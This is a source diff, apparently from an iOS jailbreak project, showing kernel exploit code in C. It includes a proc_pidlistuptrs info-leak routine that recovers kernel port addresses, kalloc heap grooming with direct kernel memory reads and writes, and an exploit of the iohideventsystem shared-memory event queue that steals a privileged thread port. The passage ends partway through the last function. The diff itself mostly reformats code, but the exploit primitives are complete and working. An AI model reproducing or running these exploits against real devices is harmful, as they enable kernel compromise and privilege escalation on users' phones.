||||
}
|
||||
|
||||
uint64_t port_kaddr = find_port_address(port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
struct simple_msg {
|
||||
mach_msg_header_t hdr;
|
||||
char buf[0];
|
||||
};
|
||||
|
||||
mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
|
||||
struct simple_msg* msg = malloc(msg_size);
|
||||
memset(msg, 0, msg_size);
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = msg_size;
|
||||
msg->hdr.msgh_remote_port = port;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414142;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
msg_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("early kalloc failed to send message");
|
||||
}
|
||||
|
||||
// find the message buffer:
|
||||
|
||||
uint64_t message_buffer = ReadKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
|
||||
LOG("message buffer: %llx", message_buffer);
|
||||
|
||||
// leak the message buffer:
|
||||
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
|
||||
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
|
||||
|
||||
return message_buffer;
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#ifndef empty_list_sploit_h
|
||||
#define empty_list_sploit_h
|
||||
#import <stdbool.h>
|
||||
|
||||
void vfs_sploit(void);
|
||||
bool vfs_sploit(void);
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "KernelMemory.h"
|
||||
#include "KernelOffsets.h"
|
||||
#include "KernelUtilities.h"
|
||||
#include "find_port.h"
|
||||
#include "kmem.h"
|
||||
#include "offsets.h"
|
||||
#include "kutils.h"
|
||||
#include <common.h>
|
||||
|
||||
/*
|
||||
@@ -23,232 +23,237 @@
|
||||
typedef uint64_t kqueue_id_t;
|
||||
|
||||
struct kevent_qos_s {
|
||||
uint64_t ident; /* identifier for this event */
|
||||
int16_t filter; /* filter for event */
|
||||
uint16_t flags; /* general flags */
|
||||
uint32_t qos; /* quality of service when servicing event */
|
||||
uint64_t udata; /* opaque user data identifier */
|
||||
uint32_t fflags; /* filter-specific flags */
|
||||
uint32_t xflags; /* extra filter-specific flags */
|
||||
int64_t data; /* filter-specific data */
|
||||
uint64_t ext[4]; /* filter-specific extensions */
|
||||
uint64_t ident; /* identifier for this event */
|
||||
int16_t filter; /* filter for event */
|
||||
uint16_t flags; /* general flags */
|
||||
uint32_t qos; /* quality of service when servicing event */
|
||||
uint64_t udata; /* opaque user data identifier */
|
||||
uint32_t fflags; /* filter-specific flags */
|
||||
uint32_t xflags; /* extra filter-specific flags */
|
||||
int64_t data; /* filter-specific data */
|
||||
uint64_t ext[4]; /* filter-specific extensions */
|
||||
};
|
||||
|
||||
#define PRIVATE
|
||||
#include <sys/types.h>
|
||||
#include <sys/event.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/event.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
struct kevent_extinfo {
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
struct kevent_qos_s kqext_kev;
|
||||
uint64_t kqext_sdata;
|
||||
int kqext_status;
|
||||
int kqext_sfflags;
|
||||
uint64_t kqext_reserved[2];
|
||||
};
|
||||
|
||||
extern int kevent_id(uint64_t id, const struct kevent_qos_s *changelist, int nchanges, struct kevent_qos_s *eventlist, int nevents, void *data_out, size_t *data_available, unsigned int flags);
|
||||
extern int kevent_id(uint64_t id, const struct kevent_qos_s* changelist, int nchanges, struct kevent_qos_s* eventlist, int nevents, void* data_out, size_t* data_available, unsigned int flags);
|
||||
|
||||
int proc_list_uptrs(pid_t pid, uint64_t *buffer, uint32_t buffersize);
|
||||
int proc_list_uptrs(pid_t pid, uint64_t* buffer, uint32_t buffersize);
|
||||
|
||||
// appends n_events user events onto this process's kevent queue
|
||||
static void fill_events(int n_events) {
|
||||
struct kevent_qos_s events_id[] = {{
|
||||
.filter = EVFILT_USER,
|
||||
.ident = 1,
|
||||
.flags = EV_ADD,
|
||||
.udata = 0x2345
|
||||
}};
|
||||
|
||||
kqueue_id_t id = 0x1234;
|
||||
|
||||
for (int i = 0; i < n_events; i++) {
|
||||
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
|
||||
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
|
||||
|
||||
if (err != 0) {
|
||||
LOG("failed to enqueue user event\n");
|
||||
exit(EXIT_FAILURE);
|
||||
static void fill_events(int n_events)
|
||||
{
|
||||
struct kevent_qos_s events_id[] = { { .filter = EVFILT_USER,
|
||||
.ident = 1,
|
||||
.flags = EV_ADD,
|
||||
.udata = 0x2345 } };
|
||||
|
||||
kqueue_id_t id = 0x1234;
|
||||
|
||||
for (int i = 0; i < n_events; i++) {
|
||||
int err = kevent_id(id, events_id, 1, NULL, 0, NULL, NULL,
|
||||
KEVENT_FLAG_WORKLOOP | KEVENT_FLAG_IMMEDIATE);
|
||||
|
||||
if (err != 0) {
|
||||
LOG("failed to enqueue user event");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
events_id[0].ident++;
|
||||
}
|
||||
|
||||
events_id[0].ident++;
|
||||
}
|
||||
}
|
||||
|
||||
int kqueues_allocated = 0;
|
||||
|
||||
static void prepare_kqueue() {
|
||||
// ensure there are a large number of events so that kevent_proc_copy_uptrs
|
||||
// always returns a large number
|
||||
if (kqueues_allocated) {
|
||||
return;
|
||||
}
|
||||
fill_events(10000);
|
||||
LOG("prepared kqueue\n");
|
||||
kqueues_allocated = 1;
|
||||
static void prepare_kqueue()
|
||||
{
|
||||
// ensure there are a large number of events so that kevent_proc_copy_uptrs
|
||||
// always returns a large number
|
||||
if (kqueues_allocated) {
|
||||
return;
|
||||
}
|
||||
fill_events(10000);
|
||||
LOG("prepared kqueue");
|
||||
kqueues_allocated = 1;
|
||||
}
|
||||
|
||||
// will make a kalloc allocation of (count*8)+7
|
||||
// and only write to the first (count*8) bytes.
|
||||
// the return value is those last 7 bytes uninitialized bytes as a uint64_t
|
||||
// (the upper byte will be set to 0)
|
||||
static uint64_t try_leak(int count) {
|
||||
int buf_size = (count*8)+7;
|
||||
char* buf = calloc(buf_size+1, 1);
|
||||
|
||||
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
|
||||
|
||||
if (err == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// the last 7 bytes will contain the leaked data:
|
||||
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
|
||||
|
||||
return last_val;
|
||||
static uint64_t try_leak(int count)
|
||||
{
|
||||
int buf_size = (count * 8) + 7;
|
||||
char* buf = calloc(buf_size + 1, 1);
|
||||
|
||||
int err = proc_list_uptrs(getpid(), (void*)buf, buf_size);
|
||||
|
||||
if (err == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// the last 7 bytes will contain the leaked data:
|
||||
uint64_t last_val = ((uint64_t*)buf)[count]; // we added an extra zero byte in the calloc
|
||||
|
||||
return last_val;
|
||||
}
|
||||
|
||||
struct ool_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports;
|
||||
struct ool_msg {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_ool_ports_descriptor_t ool_ports;
|
||||
};
|
||||
|
||||
// fills a kalloc allocation with count times of target_port's struct ipc_port pointer
|
||||
// To cause the kalloc allocation to be free'd mach_port_destroy the returned receive right
|
||||
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
|
||||
// allocate a port to send the message to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
|
||||
for (int i = 0; i < count; i++) {
|
||||
ports[i] = target_port;
|
||||
}
|
||||
|
||||
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414141;
|
||||
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->ool_ports.address = ports;
|
||||
msg->ool_ports.count = count;
|
||||
msg->ool_ports.deallocate = 0;
|
||||
msg->ool_ports.disposition = disposition;
|
||||
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t)sizeof(struct ool_msg),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to send message: %s\n", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
static int uint64_t_compare(const void* a, const void* b) {
|
||||
uint64_t a_val = (*(uint64_t*)a);
|
||||
uint64_t b_val = (*(uint64_t*)b);
|
||||
if (a_val < b_val) {
|
||||
return -1;
|
||||
}
|
||||
if (a_val == b_val) {
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition) {
|
||||
prepare_kqueue();
|
||||
|
||||
int n_guesses = 100;
|
||||
uint64_t* guesses = calloc(1, n_guesses*sizeof(uint64_t));
|
||||
int valid_guesses = 0;
|
||||
|
||||
for (int i = 1; i < n_guesses+1; i++) {
|
||||
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
|
||||
mach_port_destroy(mach_task_self(), q);
|
||||
uint64_t leaked = try_leak(i-1);
|
||||
//LOG("leaked %016llx\n", leaked);
|
||||
|
||||
// a valid guess is one which looks a bit like a kernel heap pointer
|
||||
// without the upper byte:
|
||||
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
|
||||
guesses[valid_guesses++] = leaked | 0xff00000000000000;
|
||||
static mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition)
|
||||
{
|
||||
// allocate a port to send the message to
|
||||
mach_port_t q = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate port");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
if (valid_guesses == 0) {
|
||||
LOG("couldn't leak any kernel pointers\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// return the most frequent guess
|
||||
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
|
||||
|
||||
uint64_t best_guess = guesses[0];
|
||||
int best_guess_count = 1;
|
||||
|
||||
uint64_t current_guess = guesses[0];
|
||||
int current_guess_count = 1;
|
||||
for (int i = 1; i < valid_guesses; i++) {
|
||||
if (guesses[i] == guesses[i-1]) {
|
||||
current_guess_count++;
|
||||
if (current_guess_count > best_guess_count) {
|
||||
best_guess = current_guess;
|
||||
best_guess_count = current_guess_count;
|
||||
}
|
||||
} else {
|
||||
current_guess = guesses[i];
|
||||
current_guess_count = 1;
|
||||
|
||||
mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
|
||||
for (int i = 0; i < count; i++) {
|
||||
ports[i] = target_port;
|
||||
}
|
||||
}
|
||||
|
||||
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it\n", best_guess, (best_guess_count*100)/valid_guesses);
|
||||
|
||||
free(guesses);
|
||||
|
||||
return best_guess;
|
||||
|
||||
struct ool_msg* msg = calloc(1, sizeof(struct ool_msg));
|
||||
|
||||
msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
|
||||
msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
|
||||
msg->hdr.msgh_remote_port = q;
|
||||
msg->hdr.msgh_local_port = MACH_PORT_NULL;
|
||||
msg->hdr.msgh_id = 0x41414141;
|
||||
|
||||
msg->body.msgh_descriptor_count = 1;
|
||||
|
||||
msg->ool_ports.address = ports;
|
||||
msg->ool_ports.count = count;
|
||||
msg->ool_ports.deallocate = 0;
|
||||
msg->ool_ports.disposition = disposition;
|
||||
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
|
||||
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
|
||||
|
||||
err = mach_msg(&msg->hdr,
|
||||
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
|
||||
(mach_msg_size_t)sizeof(struct ool_msg),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to send message: %s", mach_error_string(err));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_kmem_read(mach_port_name_t port) {
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
static int uint64_t_compare(const void* a, const void* b)
|
||||
{
|
||||
uint64_t a_val = (*(uint64_t*)a);
|
||||
uint64_t b_val = (*(uint64_t*)b);
|
||||
if (a_val < b_val) {
|
||||
return -1;
|
||||
}
|
||||
if (a_val == b_val) {
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t find_port_address(mach_port_t port, int disposition) {
|
||||
if (have_kmem_read()) {
|
||||
return find_port_via_kmem_read(port);
|
||||
}
|
||||
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
|
||||
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
|
||||
{
|
||||
prepare_kqueue();
|
||||
|
||||
int n_guesses = 100;
|
||||
uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));
|
||||
int valid_guesses = 0;
|
||||
|
||||
for (int i = 1; i < n_guesses + 1; i++) {
|
||||
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
|
||||
mach_port_destroy(mach_task_self(), q);
|
||||
uint64_t leaked = try_leak(i - 1);
|
||||
//LOG("leaked %016llx", leaked);
|
||||
|
||||
// a valid guess is one which looks a bit like a kernel heap pointer
|
||||
// without the upper byte:
|
||||
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
|
||||
guesses[valid_guesses++] = leaked | 0xff00000000000000;
|
||||
}
|
||||
}
|
||||
|
||||
if (valid_guesses == 0) {
|
||||
LOG("couldn't leak any kernel pointers");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// return the most frequent guess
|
||||
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
|
||||
|
||||
uint64_t best_guess = guesses[0];
|
||||
int best_guess_count = 1;
|
||||
|
||||
uint64_t current_guess = guesses[0];
|
||||
int current_guess_count = 1;
|
||||
for (int i = 1; i < valid_guesses; i++) {
|
||||
if (guesses[i] == guesses[i - 1]) {
|
||||
current_guess_count++;
|
||||
if (current_guess_count > best_guess_count) {
|
||||
best_guess = current_guess;
|
||||
best_guess_count = current_guess_count;
|
||||
}
|
||||
} else {
|
||||
current_guess = guesses[i];
|
||||
current_guess_count = 1;
|
||||
}
|
||||
}
|
||||
|
||||
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
|
||||
|
||||
SafeFreeNULL(guesses);
|
||||
|
||||
return best_guess;
|
||||
}
|
||||
|
||||
uint64_t find_port_via_kmem_read(mach_port_name_t port)
|
||||
{
|
||||
uint64_t task_port_addr = task_self_addr();
|
||||
|
||||
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
|
||||
|
||||
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
|
||||
|
||||
uint32_t port_index = port >> 8;
|
||||
const int sizeof_ipc_entry_t = 0x18;
|
||||
|
||||
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
|
||||
return port_addr;
|
||||
}
|
||||
|
||||
uint64_t find_port_address(mach_port_t port, int disposition)
|
||||
{
|
||||
if (have_kmem_read()) {
|
||||
return find_port_via_kmem_read(port);
|
||||
}
|
||||
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
|
||||
}
|
||||
|
||||
@@ -27,293 +27,288 @@
|
||||
|
||||
#include <common.h>
|
||||
|
||||
kern_return_t mach_vm_map
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_offset_t mask,
|
||||
int flags,
|
||||
mem_entry_name_port_t object,
|
||||
memory_object_offset_t offset,
|
||||
boolean_t copy,
|
||||
vm_prot_t cur_protection,
|
||||
vm_prot_t max_protection,
|
||||
vm_inherit_t inheritance
|
||||
);
|
||||
|
||||
kern_return_t mach_vm_deallocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size
|
||||
);
|
||||
kern_return_t mach_vm_map(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t* address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_offset_t mask,
|
||||
int flags,
|
||||
mem_entry_name_port_t object,
|
||||
memory_object_offset_t offset,
|
||||
boolean_t copy,
|
||||
vm_prot_t cur_protection,
|
||||
vm_prot_t max_protection,
|
||||
vm_inherit_t inheritance);
|
||||
|
||||
kern_return_t mach_vm_deallocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, char* service_name, mach_port_t *sp);
|
||||
bootstrap_look_up(mach_port_t bp, char* service_name, mach_port_t* sp);
|
||||
|
||||
// missing io_hideventsystem MIG prototypes, link again IOKit.framework for the symbols
|
||||
|
||||
kern_return_t io_hideventsystem_open(
|
||||
mach_port_t service,
|
||||
mach_port_t our_task,
|
||||
int type,
|
||||
void* bplist,
|
||||
int bplist_len,
|
||||
int zero0,
|
||||
int zero1,
|
||||
mach_port_t a_receive_right,
|
||||
mach_port_t* connection);
|
||||
mach_port_t service,
|
||||
mach_port_t our_task,
|
||||
int type,
|
||||
void* bplist,
|
||||
int bplist_len,
|
||||
int zero0,
|
||||
int zero1,
|
||||
mach_port_t a_receive_right,
|
||||
mach_port_t* connection);
|
||||
|
||||
kern_return_t io_hideventsystem_clear_service_cache(
|
||||
mach_port_t service_connection);
|
||||
mach_port_t service_connection);
|
||||
|
||||
kern_return_t io_hideventsystem_copy_matching_services(
|
||||
mach_port_t service_connection,
|
||||
void* matching,
|
||||
int matching_len,
|
||||
void** matching_out,
|
||||
int* matching_out_len,
|
||||
void** service_ids_out,
|
||||
int* service_ids_out_len);
|
||||
mach_port_t service_connection,
|
||||
void* matching,
|
||||
int matching_len,
|
||||
void** matching_out,
|
||||
int* matching_out_len,
|
||||
void** service_ids_out,
|
||||
int* service_ids_out_len);
|
||||
|
||||
kern_return_t io_hideventsystem_queue_create(
|
||||
mach_port_t service_connection,
|
||||
mach_port_t notification_port,
|
||||
int queue_size,
|
||||
mach_port_t* queue_memory_entry);
|
||||
mach_port_t service_connection,
|
||||
mach_port_t notification_port,
|
||||
int queue_size,
|
||||
mach_port_t* queue_memory_entry);
|
||||
|
||||
kern_return_t io_hideventsystem_queue_start(
|
||||
mach_port_t service_connection);
|
||||
mach_port_t service_connection);
|
||||
|
||||
kern_return_t io_hideventsystem_queue_stop(
|
||||
mach_port_t service_connection);
|
||||
mach_port_t service_connection);
|
||||
|
||||
mach_port_t hid_event_queue_exploit() {
|
||||
kern_return_t err;
|
||||
|
||||
/* connect to the com.apple.iohideventsystem service */
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
err = bootstrap_look_up(bootstrap_port, "com.apple.iohideventsystem", &service_port);
|
||||
if (err != KERN_SUCCESS || service_port == MACH_PORT_NULL) {
|
||||
LOG("failed to lookup service\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("got service port: 0x%x\n", service_port);
|
||||
|
||||
/* open a client connection */
|
||||
|
||||
mach_port_t a_receive_right = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &a_receive_right);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate receive right\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = mach_port_insert_right(mach_task_self(), a_receive_right, a_receive_right, MACH_MSG_TYPE_MAKE_SEND);
|
||||
LOG("allocated a receive right 0x%x, we'll give hideventsystem a send to this\n", a_receive_right);
|
||||
|
||||
mach_port_t connection_port = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_open(
|
||||
service_port,
|
||||
mach_task_self(),
|
||||
3,
|
||||
NULL,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
a_receive_right,
|
||||
&connection_port);
|
||||
|
||||
LOG("err: %x\n", err);
|
||||
LOG("connection_port: %x\n", connection_port);
|
||||
LOG("a_receive_right: %x\n", a_receive_right);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to open hideventsystem connection\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* clear the cache */
|
||||
err = io_hideventsystem_clear_service_cache(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to clear service cache, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* select the list of desired devices */
|
||||
void* matching_out = NULL;
|
||||
int matching_out_len = 0;
|
||||
void* service_ids_out = NULL;
|
||||
int service_ids_out_len = 0;
|
||||
err = io_hideventsystem_copy_matching_services(
|
||||
connection_port,
|
||||
NULL,
|
||||
0,
|
||||
&matching_out,
|
||||
&matching_out_len,
|
||||
&service_ids_out,
|
||||
&service_ids_out_len);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to copy matching services, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (matching_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), matching_out, matching_out_len);
|
||||
}
|
||||
|
||||
if (service_ids_out != NULL) {
|
||||
mach_vm_deallocate(mach_task_self(), service_ids_out, service_ids_out_len);
|
||||
}
|
||||
|
||||
LOG("copied matching services\n");
|
||||
|
||||
mach_port_t notification_port = MACH_PORT_NULL;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, ¬ification_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to allocate receive right for notification port\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("allocated a recieve right for notifications: 0x%x\n", notification_port);
|
||||
|
||||
mach_port_t queue_memory_entry = MACH_PORT_NULL;
|
||||
|
||||
err = io_hideventsystem_queue_create(
|
||||
connection_port,
|
||||
notification_port,
|
||||
0x8000,
|
||||
&queue_memory_entry);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to create queue, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("queue memory entry port: 0x%x\n", queue_memory_entry);
|
||||
|
||||
LOG("pid %d\n", getpid());
|
||||
|
||||
// map the queue:
|
||||
mach_vm_address_t queue_address = 0;
|
||||
err = mach_vm_map(
|
||||
mach_task_self(),
|
||||
&queue_address, // &address
|
||||
(mach_vm_size_t)0x9000, // size
|
||||
0xfff, // mask
|
||||
1, // flags
|
||||
queue_memory_entry, // object
|
||||
0, // offset
|
||||
0, // copy
|
||||
3, // cur_prot
|
||||
3, // max_prot
|
||||
2);// inheritance
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("mach_vm_map failed: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("mapped queue: %p\n", (void*)queue_address);
|
||||
|
||||
volatile mach_msg_header_t* shm_msg = (mach_msg_header_t*)(queue_address + 0x8000 + 0x10);
|
||||
|
||||
LOG("got the shared memory msg mapped at: %p\n", shm_msg);
|
||||
LOG("%08x %08x %08x\n", shm_msg->msgh_bits, shm_msg->msgh_size, shm_msg->msgh_remote_port);
|
||||
LOG("%08x %08x %08x\n", shm_msg->msgh_local_port, shm_msg->msgh_voucher_port, shm_msg->msgh_id);
|
||||
|
||||
uint32_t saved_bits = shm_msg->msgh_bits;
|
||||
uint32_t saved_local_port = shm_msg->msgh_local_port;
|
||||
uint32_t saved_msgh_id = shm_msg->msgh_id;
|
||||
|
||||
shm_msg->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND, 0); // remote, local, voucher
|
||||
shm_msg->msgh_local_port = 0x407; // the port we want, 0x407 is a thread port
|
||||
shm_msg->msgh_id = 0x12341234;
|
||||
|
||||
// start the queue
|
||||
err = io_hideventsystem_queue_start(
|
||||
connection_port);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("failed to start the event queue\n");
|
||||
}
|
||||
|
||||
LOG("started queue\n");
|
||||
|
||||
// wait to receive a message
|
||||
LOG("if nothing happens here for a while, interact with the screen\n");
|
||||
|
||||
mach_msg_header_t* received_msg = malloc(0x1000);
|
||||
|
||||
err = mach_msg(
|
||||
received_msg,
|
||||
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
|
||||
0,
|
||||
0x1000,
|
||||
notification_port,
|
||||
0,
|
||||
0);
|
||||
LOG("mach_msg returned\n");
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("tried to receive a message on the notification port but failed, err: %x\n", err);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
LOG("msgh_id of received notification message: %x\n", received_msg->msgh_id);
|
||||
LOG("did we get an interesting port? 0x%x\n", received_msg->msgh_remote_port);
|
||||
|
||||
mach_port_t stolen_port = received_msg->msgh_remote_port;
|
||||
|
||||
// let's get the type of that port
|
||||
natural_t ktype = 0;
|
||||
mach_vm_address_t kaddr = 0;
|
||||
err = mach_port_kobject(mach_task_self(), stolen_port, &ktype, &kaddr);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to get mach port ktype\n");
|
||||
sleep(100);
|
||||
}
|
||||
|
||||
LOG("kernel object type: %d\n", ktype);
|
||||
|
||||
// is that a thread port?
|
||||
if (ktype != 1) {
|
||||
LOG("not a thread port...\n");
|
||||
}
|
||||
|
||||
|
||||
// cleanup:
|
||||
|
||||
// fix up the message:
|
||||
shm_msg->msgh_bits = saved_bits;
|
||||
shm_msg->msgh_local_port = saved_local_port;
|
||||
shm_msg->msgh_id = saved_msgh_id;
|
||||
|
||||
err = io_hideventsystem_queue_stop(connection_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to stop the queue\n");
|
||||
}
|
||||
|
||||
// unmap the queue
|
||||
mach_vm_deallocate(mach_task_self(), queue_address, 0x9000);
|
||||
|
||||
// drop the resources:
|
||||
